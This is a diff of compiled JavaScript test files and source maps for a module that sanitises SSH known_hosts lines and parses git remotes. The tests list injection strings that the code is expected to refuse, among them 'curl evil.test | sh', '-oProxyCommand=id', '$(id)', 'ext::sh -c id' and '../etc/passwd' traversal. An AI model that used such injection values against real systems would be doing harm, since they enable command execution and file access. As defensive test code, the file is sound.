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"}
@@ -1,6 +1,10 @@
1
1
  import { test } from "node:test";
2
2
  import assert from "node:assert/strict";
3
- import { isPlausibleSshPrivateKey, MAX_KNOWN_HOSTS_LINES, sanitizeKnownHosts } from "./vpn-ssh.js";
3
+ import { execFileSync } from "node:child_process";
4
+ import { existsSync, mkdtempSync, rmSync, writeFileSync } from "node:fs";
5
+ import { tmpdir } from "node:os";
6
+ import { join } from "node:path";
7
+ import { diffFingerprints, isPlausibleSshPrivateKey, isSshGitRemote, knownHostsFingerprints, looksLikeSshGitRemote, MAX_KNOWN_HOSTS_LINES, parseGitRemote, sanitizeKnownHosts, sshKeyFingerprint, validateKnownHostsInput, } from "./vpn-ssh.js";
4
8
  const ED = "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIK91pDfs6YOw64Pk/1OQrblxsDl0obAVDxwCRQdDWeVM";
5
9
  const ECDSA = "ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBvuulkZYdqW+h/n3m7I39sGrSATHP+KNj8oDXKvXuio3bne5GoiF6ePP8jCxnH/fhJ3rMy4Sidwg3aYllX4110=";
6
10
  test("sanitizeKnownHosts accepts host-key and cert-authority lines, drops comments, blanks and duplicates", () => {
@@ -72,4 +76,199 @@ test("isPlausibleSshPrivateKey: a PEM/OpenSSH private-key block of sane size, no
72
76
  assert.equal(isPlausibleSshPrivateKey(bad), false, String(bad).slice(0, 40));
73
77
  }
74
78
  });
79
+ // ---------------------------------------------------------------------------
80
+ // PR-G: catch-all patterns, the strict front door, fingerprints, git remotes
81
+ // ---------------------------------------------------------------------------
82
+ test("sanitizeKnownHosts refuses catch-all and negation-only host patterns, on host-key and cert-authority lines alike", () => {
83
+ const bad = [
84
+ "*",
85
+ "?",
86
+ "*.*",
87
+ "**",
88
+ "*?*",
89
+ "[*]:22",
90
+ "[*]:2222,[?]:22",
91
+ "*:2222",
92
+ "*]:2222",
93
+ "?:22",
94
+ "*.*:2222",
95
+ "[*:2222",
96
+ "*:22:2222",
97
+ "!git.corp.test",
98
+ "!a.corp.test,!b.corp.test",
99
+ "git.corp.test,",
100
+ ",git.corp.test",
101
+ "git.corp.test,,b.corp.test",
102
+ "!",
103
+ Array.from({ length: 17 }, (_, i) => `h${i}.corp.test`).join(","),
104
+ ];
105
+ for (const hosts of bad) {
106
+ assert.deepEqual(sanitizeKnownHosts([`${hosts} ${ED}`]).lines, [], `plain: ${hosts}`);
107
+ assert.deepEqual(sanitizeKnownHosts([`@cert-authority ${hosts} ${ED}`]).lines, [], `ca: ${hosts}`);
108
+ }
109
+ const good = ["*.corp.test", "git.corp.test,!bad.corp.test", "[git.corp.test]:2222", "git.corp.test:2222", "*.corp.test:2222", "10.20.0.5", "git?.corp.test", "*.corp.test,!gw.corp.test"];
110
+ for (const hosts of good)
111
+ assert.equal(sanitizeKnownHosts([`${hosts} ${ED}`]).lines.length, 1, hosts);
112
+ assert.equal(sanitizeKnownHosts([`@cert-authority *.corp.test ${ED}`]).lines.length, 1);
113
+ });
114
+ test("sanitizeKnownHosts: injection attempts through every field are refused", () => {
115
+ const attempts = [
116
+ `git.corp.test ${ED}; curl evil.test | sh`,
117
+ `git.corp.test ${ED}\n@cert-authority * ${ED}`,
118
+ `git.corp.test ${ED}\r\ngit2.corp.test ${ED}`,
119
+ `command="id" ${ED}`,
120
+ `no-pty,command="id" git.corp.test ${ED}`,
121
+ `cert-authority git.corp.test ${ED}`, // missing @
122
+ `@cert-authority,@revoked git.corp.test ${ED}`,
123
+ `@CERT-AUTHORITY git.corp.test ${ED}`,
124
+ `git.corp.test ${ED.replace("ssh-ed25519", "ssh-ed25519 -oProxyCommand=id")}`,
125
+ `$(id).corp.test ${ED}`,
126
+ `git.corp.test\`id\` ${ED}`,
127
+ `git.corp.test"${ED}`,
128
+ `'git.corp.test' ${ED}`,
129
+ `git.corp.test ${ED} comment\x07bell`,
130
+ `git.corp.test ${ED} comment\x1b[31mred`,
131
+ `git.corp.test ${ED} comment\x7f`,
132
+ `git.corp.test\x0b${ED}`, // a control character as the separator
133
+ `git.corp.test ${ED} ${"c".repeat(201)}`, // comment over the cap
134
+ `${"a".repeat(2100)} ${ED}`,
135
+ ];
136
+ const r = sanitizeKnownHosts(attempts);
137
+ assert.deepEqual(r.lines, []);
138
+ assert.equal(r.rejected.length, attempts.length);
139
+ // Surrounding whitespace is trimmed (the stored line is the clean one), never carried into the file.
140
+ assert.deepEqual(sanitizeKnownHosts([`\x0b git.corp.test ${ED} \t`]).lines, [`git.corp.test ${ED}`]);
141
+ });
142
+ test("validateKnownHostsInput is all-or-nothing, counts lines, and never echoes a refused line", () => {
143
+ const ok = validateKnownHostsInput(["# c", `git.corp.test ${ED}`, ""]);
144
+ assert.deepEqual(ok, { ok: true, lines: [`git.corp.test ${ED}`], errors: [] });
145
+ assert.deepEqual(validateKnownHostsInput([]), { ok: true, lines: [], errors: [] });
146
+ const secret = "-----BEGIN OPENSSH PRIVATE KEY-----";
147
+ const bad = validateKnownHostsInput([`git.corp.test ${ED}`, secret, "*" + ` ${ED}`]);
148
+ assert.equal(bad.ok, false);
149
+ assert.deepEqual(bad.lines, []);
150
+ assert.equal(bad.errors.length, 2);
151
+ assert.match(bad.errors[0], /^line 2 /);
152
+ assert.match(bad.errors[1], /^line 3 /);
153
+ assert.equal(JSON.stringify(bad).includes("PRIVATE"), false);
154
+ for (const notList of ["text", 7, null, undefined, {}, { length: 1 }])
155
+ assert.equal(validateKnownHostsInput(notList).ok, false);
156
+ assert.equal(validateKnownHostsInput(Array.from({ length: MAX_KNOWN_HOSTS_LINES * 4 + 1 }, () => "x")).ok, false);
157
+ // More than the line cap of GOOD lines is refused, not truncated.
158
+ const many = validateKnownHostsInput(Array.from({ length: MAX_KNOWN_HOSTS_LINES + 1 }, (_, i) => `h${i}.corp.test ${ED}`));
159
+ assert.equal(many.ok, false);
160
+ assert.equal(many.errors.length, 1);
161
+ // Lots of bad lines: a bounded error list.
162
+ const lots = validateKnownHostsInput(Array.from({ length: 100 }, () => "junk"));
163
+ assert.equal(lots.errors.length, 21);
164
+ assert.match(lots.errors[20], /80 more/);
165
+ });
166
+ test("fingerprints are SHA256 of the key blob and equal what ssh-keygen -l prints", async () => {
167
+ const fp = await sshKeyFingerprint(ED.split(" ")[1]);
168
+ assert.match(fp, /^SHA256:[A-Za-z0-9+/]{43}$/);
169
+ const entries = await knownHostsFingerprints([`git.corp.test,10.20.0.5 ${ED}`, `@cert-authority *.corp.test ${ECDSA} ca`, "garbage line"]);
170
+ assert.deepEqual(entries, [
171
+ { hosts: "git.corp.test,10.20.0.5", keyType: "ssh-ed25519", fingerprint: fp, certAuthority: false },
172
+ { hosts: "*.corp.test", keyType: "ecdsa-sha2-nistp256", fingerprint: await sshKeyFingerprint(ECDSA.split(" ")[1]), certAuthority: true },
173
+ ]);
174
+ const haveKeygen = ["/usr/bin", "/usr/local/bin", "/opt/homebrew/bin"].some((d) => existsSync(join(d, "ssh-keygen")));
175
+ if (!haveKeygen)
176
+ return;
177
+ const dir = mkdtempSync(join(tmpdir(), "afkh-"));
178
+ try {
179
+ const file = join(dir, "known_hosts");
180
+ writeFileSync(file, `git.corp.test ${ED}\ngit2.corp.test ${ECDSA}\n`);
181
+ const out = execFileSync("ssh-keygen", ["-l", "-f", file], { encoding: "utf8" });
182
+ assert.ok(out.includes(fp), out);
183
+ assert.ok(out.includes(await sshKeyFingerprint(ECDSA.split(" ")[1])), out);
184
+ }
185
+ finally {
186
+ rmSync(dir, { recursive: true, force: true });
187
+ }
188
+ });
189
+ test("diffFingerprints reports added and removed fingerprints only", () => {
190
+ const e = (fingerprint) => ({ hosts: "h", keyType: "ssh-ed25519", fingerprint, certAuthority: false });
191
+ assert.deepEqual(diffFingerprints([e("SHA256:a"), e("SHA256:b")], [e("SHA256:b"), e("SHA256:c")]), { added: ["SHA256:c"], removed: ["SHA256:a"] });
192
+ assert.deepEqual(diffFingerprints([], []), { added: [], removed: [] });
193
+ });
194
+ test("parseGitRemote: https is unchanged, ssh:// and scp-like need a user and a plain host", () => {
195
+ assert.deepEqual(parseGitRemote("https://github.com/org/repo.git")?.kind, "https");
196
+ assert.deepEqual(parseGitRemote("ssh://git@git.corp.test/org/repo.git"), { kind: "ssh", form: "url", user: "git", host: "git.corp.test", port: null, path: "/org/repo.git" });
197
+ assert.deepEqual(parseGitRemote("ssh://git@10.20.0.5:2222/srv/git/repo.git"), { kind: "ssh", form: "url", user: "git", host: "10.20.0.5", port: 2222, path: "/srv/git/repo.git" });
198
+ assert.deepEqual(parseGitRemote("git@git.corp.test:org/repo.git"), { kind: "ssh", form: "scp", user: "git", host: "git.corp.test", port: null, path: "org/repo.git" });
199
+ assert.deepEqual(parseGitRemote("git@git.corp.test:/srv/git/repo.git"), { kind: "ssh", form: "scp", user: "git", host: "git.corp.test", port: null, path: "/srv/git/repo.git" });
200
+ assert.equal(isSshGitRemote("git@git.corp.test:org/repo.git"), true);
201
+ assert.equal(isSshGitRemote("https://github.com/org/repo.git"), false);
202
+ });
203
+ test("parseGitRemote refuses everything that could be read as an option, a command or another transport", () => {
204
+ const bad = [
205
+ "ssh://git.corp.test/org/repo.git", // no user: ssh would use the Mac's own account name
206
+ "ssh://@git.corp.test/org/repo.git",
207
+ "ssh://git:secret@git.corp.test/org/repo.git",
208
+ "ssh://git@-oProxyCommand=id/org/repo.git",
209
+ "ssh://-oProxyCommand=id@git.corp.test/org/repo.git",
210
+ "ssh://git@git.corp.test:0/org/repo.git",
211
+ "ssh://git@git.corp.test:65536/org/repo.git",
212
+ "ssh://git@git.corp.test:99999999/org/repo.git",
213
+ "ssh://git@[fe80::1]/org/repo.git",
214
+ "ssh://git@[::1]:22/org/repo.git",
215
+ "ssh://git@git.corp.test/../etc/passwd",
216
+ "ssh://git@git.corp.test/org/../repo.git",
217
+ "ssh://git@git.corp.test/",
218
+ "ssh://git@git.corp.test",
219
+ "ssh://git@git.corp.test/org/repo.git?x=1",
220
+ "ssh://git@git.corp.test/org/repo.git#frag",
221
+ "ssh://git@git.corp.test/org/repo.git ",
222
+ "ssh://git@git.corp.test/org/re po.git",
223
+ "ssh://git@git.corp.test/org/repo.git;id",
224
+ "ssh://git@git.corp.test/org/$(id)",
225
+ "ssh://git@git.corp.test/org/`id`",
226
+ "ssh://git@git.corp.test/org/repo%0a.git",
227
+ "ssh://git@git.corp.test/-oProxyCommand=id",
228
+ "ssh://git@git.corp.test/org/repo.git\nnext",
229
+ "ssh://git@git%2ecorp.test/org/repo.git",
230
+ "ssh://git@git_corp.test/org/repo.git",
231
+ "ssh://git@.git.corp.test/org/repo.git",
232
+ "ssh://git@git.corp.test./org/repo.git",
233
+ "git.corp.test:org/repo.git", // scp-like without a user
234
+ "@git.corp.test:org/repo.git",
235
+ "-oProxyCommand=id@git.corp.test:org/repo.git",
236
+ "git@-oProxyCommand=id:org/repo.git",
237
+ "git@git.corp.test:-oProxyCommand=id",
238
+ "git@git.corp.test:../etc/passwd",
239
+ "git@git.corp.test:org/../repo.git",
240
+ "git@git.corp.test:",
241
+ "git@[::1]:org/repo.git",
242
+ "git@git.corp.test:org/repo.git;id",
243
+ "git@git.corp.test:org/repo git",
244
+ "git@git.corp.test:org/$(id)",
245
+ "git@git.corp.test:org/repo.git\n",
246
+ "ext::sh -c id",
247
+ "ext::sh -c 'id' git@x:y",
248
+ "git://git.corp.test/org/repo.git",
249
+ "http://git.corp.test/org/repo.git",
250
+ "file:///etc",
251
+ "file://git@host/etc",
252
+ "/local/path/repo.git",
253
+ "C:/repos/x",
254
+ "javascript:alert(1)",
255
+ "git+ssh://git@git.corp.test/org/repo.git",
256
+ "ssh+git://git@git.corp.test/org/repo.git",
257
+ "ssh://git@git.corp.test:22:22/org/repo.git",
258
+ "",
259
+ " ",
260
+ "x".repeat(2000),
261
+ `ssh://git@git.corp.test/${"a".repeat(600)}`,
262
+ ];
263
+ for (const url of bad)
264
+ assert.equal(parseGitRemote(url)?.kind === "ssh", false, url.slice(0, 80));
265
+ assert.equal(parseGitRemote(undefined), null);
266
+ assert.equal(parseGitRemote(42), null);
267
+ });
268
+ test("looksLikeSshGitRemote flags ssh-shaped input (valid or not) and leaves https, other schemes and local paths alone", () => {
269
+ for (const v of ["ssh://git@h/p", "ssh://", "git@h:p", "h:p", "user@h:/p", "ext::sh -c id", "javascript:alert(1)", "-oProxyCommand=id@h:p"])
270
+ assert.equal(looksLikeSshGitRemote(v), true, v);
271
+ for (const v of ["https://github.com/o/r", "http://h/p", "git://h/p", "file:///x", "/local/path", "./rel/path", "C:\\repos\\x", "C:/repos/x", "", 5, null])
272
+ assert.equal(looksLikeSshGitRemote(v), false, String(v));
273
+ });
75
274
  //# sourceMappingURL=vpn-ssh.test.js.map
@@ -1 +1 @@
1
- {"version":3,"file":"vpn-ssh.test.js","sourceRoot":"","sources":["../src/vpn-ssh.test.ts"],"names":[],"mappings":"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